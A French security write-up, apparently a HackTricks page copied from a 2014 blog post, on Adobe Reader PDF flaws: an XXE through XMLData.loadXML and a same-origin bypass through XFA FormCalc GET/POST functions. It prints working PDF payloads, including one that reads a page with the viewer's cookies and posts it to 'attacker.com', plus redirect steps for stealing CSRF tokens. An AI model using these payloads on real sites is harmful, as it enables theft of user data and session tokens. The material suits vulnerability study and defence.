7 KiB
Téléchargement de PDF - Contournement XXE et CORS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Contenu copié depuis https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html
La fonction Javascript dans Reader peut être utilisée pour lire des données à partir d'entités externes (CVE-2014-8452)
Statut : Corrigé
Réalité : Non corrigé
Celui-ci concerne un simple XXE que j'ai découvert.
J'ai lu l'article "Polyglots: Crossing Origins by Crossing Formats", où ils ont discuté d'une vulnérabilité dans
XMLData.parse. Il était possible d'utiliser des entités externes et de les référencer.
J'ai lu la spécification et il s'avère qu'il y a plus de fonctions que "parse" pour lire XML.
J'ai créé un simple fichier xml, qui référence une URL du même domaine et je l'ai analysé avec loadXML.
Ça a marché :
7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
var cXMLDoc = '<?xml version="1.0" encoding="ISO-8859-1"?><foo>muh</foo>'
var cXMLDoc2 = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ENTITY aaaa SYSTEM "http://example.com">]><ab>&aaaa;</ab>'
xml = XMLData.parse(cXMLDoc,false);
xml.loadXML(cXMLDoc2,false,true);
)
>>
endobj
L'impact est limité car
o) il est limité à la même origine
o) les pages HTML cassent le XML
o) les entités dynamiques ne sont pas prises en charge
o) J'ai eu l'idée d'utiliser un XML utf-16 pour éviter de casser la structure XML, mais cela n'a pas fonctionné.
Mais cela peut encore être utilisé pour lire JSON.
Contournement de la politique de même origine dans Reader (CVE-2014-8453)
Statut: corrigé
Réalité: corrigé mais même origine toujours vulnérable!
À mon avis, c'est la vulnérabilité la plus puissante. Même sans le contournement d'origine, cela vous montre
à quel point les PDF peuvent être puissants/terrifiants.
Beaucoup de gens savent que les PDF prennent en charge un langage de script appelé Javascript, mais il y en a un autre.
Il est mentionné dans la spécification pour XFA, un type de fichier également pris en charge par le lecteur Adobe.
Il s'appelle formcalc et il n'est pas si puissant. Il est utilisé pour des calculs mathématiques simples. Mais dans la spécification Adobe,
il y a trois fonctions supplémentaires: 'GET', 'POST' et 'PUT'. Oui, leurs noms parlent d'eux-mêmes.
'GET' a un paramètre: une URL. Il utilisera le navigateur (OUI, LES COOKIES) pour récupérer l'URL et renvoyer le contenu de celle-ci.
Nous pouvons ensuite utiliser 'POST' pour envoyer le contenu renvoyé à notre propre serveur:
var content = GET("myfriends.php");
Post("http://attaquant.com",content);
Ces fonctions sont de même origine, donc un site Web doit nous permettre de télécharger un PDF. Ce n'est pas si irréaliste pour
la plupart des sites Web. Attaquant.com n'est pas de même origine, donc vous devez configurer un crossdomain.xml, comme d'habitude avec les produits Adobe.
Pour résumer: Ce n'est pas un bug, c'est une fonctionnalité. Dès que vous êtes autorisé à télécharger un PDF sur un site Web,
vous pouvez accéder au site Web dans le contexte de l'utilisateur qui visualise le PDF. Parce que les demandes sont émises
par le navigateur, les cookies sont également envoyés. Vous pouvez également l'utiliser pour casser toute protection CSRF en lisant les jetons.
% a PDF file using an XFA
% most whitespace can be removed (truncated to 570 bytes or so...)
% Ange Albertini BSD Licence 2012
% modified by insertscript
%PDF-1. % can be truncated to %PDF-\0
1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subform name="_">
<pageSet/>
<field id="Hello World!">
<event activity="initialize">
<script contentType='application/x-formcalc'>
var content = GET("myfriends.php");
Post("http://attacker.com",content);
</script>
</event>
</field>
</subform>
</template>
</xdp:xdp>
endstream
endobj
trailer <<
/Root <<
/AcroForm <<
/Fields [<<
/T (0)
/Kids [<<
/Subtype /Widget
/Rect []
/T ()
/FT /Btn
>>]
>>]
/XFA 1 0 R
>>
/Pages <<>>
>>
>>
Après avoir trouvé ces fonctions, j'ai découvert une faille de la politique de même origine. Cela permet d'utiliser le navigateur de la victime comme proxy (@beef travaille encore sur le module^^).
La faille est vraiment simple :
- L'utilisateur A charge evil.pdf depuis http://attacker.com/evil.pdf
- Evil.pdf utilise formcalc GET pour lire http://attacker.com/redirect.php
- redirect.php redirige avec 301 vers http://facebook.com
- Adobe reader suivra et lira la réponse sans chercher de crossdomain.xml.
- evil.pdf envoie le contenu récupéré via POST à http://attacker.com/log.php
Notez qu'en utilisant cette technique, vous pouvez voler les jetons CRSF d'une page et exploiter les vulnérabilités CSRF.
Cette simple faille est maintenant corrigée. J'espère qu'ils vont également implémenter un avertissement de dialogue pour les demandes de même origine.